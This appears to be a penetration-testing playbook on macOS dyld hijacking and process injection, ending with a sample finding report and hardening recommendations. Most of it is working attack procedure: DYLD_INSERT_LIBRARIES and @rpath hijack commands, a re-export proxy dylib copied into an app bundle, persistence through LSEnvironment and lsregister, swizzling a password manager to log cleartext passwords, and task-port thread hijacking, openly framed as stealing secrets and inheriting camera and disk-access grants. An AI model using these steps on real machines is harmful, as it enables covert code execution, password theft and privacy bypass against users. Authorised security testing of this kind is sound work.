Exploiting Macos Dyld Hijacking And Process Injection

Exploiting macOS Dyld Hijacking & Process Injection

When to Use

• You want to run code inside another process on macOS to steal secrets (passwords, messages), inherit its TCC/entitlements, or hook its functions.
• A target binary loads libraries via @rpath/DYLD_INSERT_LIBRARIES without library validation, or you hold a task port (task_for_pid) for a get-task-allow process.
• You need to choose between load-time injection (dyld) and runtime injection (thread hijack / fishhook) based on the target's protections.

Critical: Techniques Most Often Missed

• DYLD_INSERT_LIBRARIES — the simplest primitive; a dylib __attribute__((constructor)) runs before main. Blocked on hardened/platform binaries, so check restrictions first.

  # gcc -dynamiclib -o inject.dylib inject.c   (constructor runs execv("/bin/bash",0) etc.)
  DYLD_INSERT_LIBRARIES=inject.dylib ./target
  

  • How to CONFIRM: sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' shows your constructor logging when loaded.
• @rpath / missing-dylib hijack — find a dylib the app expects but doesn't ship, and that it loads without checking the signature (com.apple.security.cs.disable-library-validation).

  codesign -dv --entitlements :- /Applications/VulnDyld.app/Contents/Resources/lib/binary  # disable-library-validation?
  otool -l <binary> | grep LC_RPATH -A2          # @rpath search paths
  otool -l <binary> | grep "@rpath" -A3          # expected libs + required versions
  find /Applications/VulnDyld.app -name lib.dylib  # which @rpath path is missing
  

  • How to CONFIRM: one @rpath candidate path doesn't exist on disk; dropping your dylib there and running the binary logs your constructor.
• Re-export proxy dylib — keep the app working by re-exporting the legit library's symbols from your malicious one, matching current/compatibility versions.

  gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m \
      -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o /tmp/lib.dylib
  install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
  cp /tmp/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
  

  • How to CONFIRM: otool -l /tmp/lib.dylib | grep REEXPORT -A2 shows the absolute re-export path; the app runs normally and your code executes.
• fishhook symbol rebinding (runtime) — already inside a process, hook an imported C function by rewriting its import slot; only affects calls that go through an import pointer.
  • How to CONFIRM: hooked close()/etc. logs each call. NOTE: on arm64e targets check __AUTH_CONST.__auth_got and temporarily make __DATA_CONST writable.
• Thread hijack via task port — with a task port you can't thread_create_running (mitigated); instead task_threads() → thread_suspend() → set x0..x7/pc → resume. On arm64e you must sign pc with PAC (ptrauth_sign_unauthenticated) or chain existing gadgets.
  • How to CONFIRM: target executes your function (e.g., via threadexec); EndpointSecurity emits ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE.

Workflow

Step 1: Enumerate (target protections)

sw_vers; uname -m                                 # OS + arch (arm64e => PAC)
codesign -dvv --entitlements :- /path/target 2>&1 | \
  grep -E "Authority|TeamIdentifier|library-validation|get-task-allow|allow-dyld|runtime"
otool -hv /path/target                            # check for hardened-runtime/PIE flags
otool -l /path/target | grep -E "LC_RPATH|@rpath|@loader_path|@executable_path" -A2

Step 2: Identify the primitive

• Load-time, env: target allows DYLD_* (no hardened runtime / has allow-dyld-environment-variables, not a platform binary).
• Load-time, disk: a missing/@rpath dylib + disable-library-validation → hijack on disk (survives relaunch; great for TCC theft).
• Runtime, in-proc: you already execute inside the process → interpose (__DATA,__interpose), dyld_dynamic_interpose, fishhook, or ObjC swizzling.
• Runtime, remote: you hold the task port of a get-task-allow/unprotected process → thread hijack.

Step 3: Exploit (concrete commands)

# (a) Interpose a libc function via __interpose section, injected with DYLD_INSERT_LIBRARIES
# gcc -dynamiclib interpose.c -o interpose.dylib   (DYLD_INTERPOSE(my_printf, printf))
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello   # debug interposing

# (b) ObjC method_setImplementation to sniff a secret (store original first)
# gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
#   constructor: real = method_setImplementation(class_getInstanceMethod(cls,@selector(setPassword:keyFileURL:)), fake)
log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

# (c) Persisting dylib injection in an app bundle via Info.plist LSEnvironment, then re-register
#   <key>LSEnvironment</key><dict><key>DYLD_INSERT_LIBRARIES</key><string>/Applications/App.app/Contents/malicious.dylib</string></dict>
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

# (d) Inspect a remote process before thread hijack
lldb -p <pid>          # confirm get-task-allow / debuggability

Step 4: Persist / escalate / pivot

• Inherit TCC/entitlements: code running inside a TCC-granted or entitled app gains its camera/FDA/etc. access with no prompt (e.g., the CVE-2023-26818 Telegram camera-TCC bypass via dylib hijack).
• Persist the hijack: a dylib dropped at the hijacked @rpath location reloads every launch; bundle LSEnvironment + lsregister survives too. NOTE: on newer macOS, stripping a previously-run app's signature stops it launching, so prefer hijack over re-sign.
• Deepen with remote R/W: after thread hijack, build read/write primitives (property_getName for read, _xpc_int64_set_value for write), set up Mach-port channels, and xpc_shmem shared memory — wrapped by threadexec for full control, then transfer Mach ports / fileports to pivot.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: @rpath hijack to bypass camera TCC

A Developer-ID app with disable-library-validation expects @rpath/lib.dylib at a path that doesn't exist. The tester drops a re-export proxy dylib there; on launch it runs inside the app and uses the app's camera TCC grant (CVE-2023-26818 pattern).

Scenario 2: ObjC swizzle to sniff a password manager

The tester injects sniff.dylib via the app's Info.plist LSEnvironment and lsregister, swizzling setPassword:keyFileURL: with method_setImplementation, logging cleartext passwords to the unified log while calling the original method so nothing breaks.

Scenario 3: Task-port thread hijack with PAC

Holding the task port of a get-task-allow process on Apple Silicon, the tester suspends a thread, sets x0..x7 and a PAC-signed pc, and resumes — building read/write and Mach-port channels via threadexec for full remote control.

Output Format

## macOS Process Injection Finding

**Target**: macOS 14.4 (arm64e) ; App: com.vendor.app (Developer ID, disable-library-validation)
**Primitive**: @rpath dylib hijack with re-export proxy
**Severity**: High
**Finding**: App loads attacker dylib from a missing @rpath path without signature validation
**Evidence**:
  - `codesign -d --entitlements :- App.app` -> com.apple.security.cs.disable-library-validation
  - `otool -l binary | grep @rpath` -> expects @rpath/lib.dylib ; only lib2/lib.dylib exists
  - dropped proxy -> log shows "[+] dylib hijacked"; app runs normally (re-export intact)
**Impact**: Code execution inside the app inheriting its TCC/entitlements (e.g., camera, FDA), enabling data theft.
**Recommendation**:
  1. Enable Hardened Runtime + Library Validation; remove `disable-library-validation`/`allow-dyld-environment-variables`.
  2. Load dylibs from signed absolute paths; verify loaded-library Team IDs.
  3. Ship without `com.apple.security.get-task-allow` to block non-root task-port access.
  4. Deploy EndpointSecurity monitoring for GET_TASK / REMOTE_THREAD_CREATE / THREAD_SET_STATE.